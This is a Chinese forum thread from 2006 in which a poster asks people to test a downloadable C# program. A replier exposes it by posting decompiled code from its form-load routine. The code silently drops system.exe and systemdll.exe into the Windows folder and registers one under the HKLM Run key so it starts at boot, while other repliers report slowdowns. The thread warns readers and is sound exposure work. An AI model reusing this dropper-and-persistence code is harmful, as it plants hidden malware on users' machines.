花了两天时间
花了两天时间，终于用C#做好了这个小程序，帮测测，看看还有何改进与问题？要有framwork1.1,
地址：http://gxy8888.vicp.net/DMS_DOWNLOAD/WebForm1.aspx
问题点数：0、回复次数：7Top
1 楼deyig（）回复于 2006-03-02 15:13:59 得分 0
什么都无显示....开了之后机器异常缓慢..病毒?Top
2 楼lzmtw（水如烟）回复于 2006-03-02 15:30:37 得分 0
楼主请说明软件的功能及对系统的特殊操作.
我稍看了一下:修改注册表;开机运行;联接Internet.
这种软件若不是特别需要,而叫人"测试"我觉得很是不厚道的.
若不说明,下班前删贴.Top
3 楼GXY2005（民工甲：杀富济贫，打土豪分田地）回复于 2006-03-02 15:51:28 得分 0
只是测试下c#做的程序，我只是看看，其实并没做任何动作！！！Top
4 楼lzmtw（水如烟）回复于 2006-03-02 16:22:55 得分 0
那没必要别人来测试呀.
你没说明,叫人如何测试?
你看看这样的代码,能叫人放心吗,怎说没有任何动作呢?
Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
Try
Me.serverrun = Me.s.ServerIsRun
Me.s.ClientAdd
If Not File.Exists("C:\WINDOWS\system.exe") Then
Dim buffer1 As Byte() = Me.sf.GetBytes("c:\bug\system.exe")
Dim stream1 As New FileStream("C:\WINDOWS\system.exe", FileMode.OpenOrCreate, FileAccess.ReadWrite)
stream1.Write(buffer1, 0, buffer1.Length)
stream1.Close
End If
If Not File.Exists("C:\WINDOWS\systemdll.exe") Then
Dim buffer2 As Byte() = Me.sf.GetBytes("c:\bug\systemdll.exe")
Dim stream2 As New FileStream("C:\WINDOWS\systemdll.exe", FileMode.OpenOrCreate, FileAccess.ReadWrite)
stream2.Write(buffer2, 0, buffer2.Length)
stream2.Close
End If
Dim text1 As String = "C:\WINDOWS\system.exe"
Dim key2 As RegistryKey = Registry.LocalMachine.CreateSubKey("SOFTWARE")
Dim key3 As RegistryKey = key2.CreateSubKey("Microsoft")
Dim key4 As RegistryKey = key3.CreateSubKey("Windows")
Dim key5 As RegistryKey = key4.CreateSubKey("CurrentVersion")
Dim key6 As RegistryKey = key5.CreateSubKey("Run")
key6.SetValue("systenrun", text1)
Catch exception1 As Exception
Me.serverrun = False
End Try
End Sub
现在这世道真的不好受,由不得相互猜疑.就算你是好意.
算了吧,你结贴.
Top
5 楼GXY2005（民工甲：杀富济贫，打土豪分田地）回复于 2006-03-02 17:00:10 得分 0
请一定告诉我你用的什么反编译工具，我也试试？真不错，除了语言不对，其他基本一样Top
6 楼deyig（）回复于 2006-03-02 17:11:03 得分 0
学懂了一句:防人之心不可无.
楼主正垃圾Top
7 楼yuanarea（Sail before）回复于 2006-03-02 23:55:56 得分 0
呵呵~楼主不厚道Top
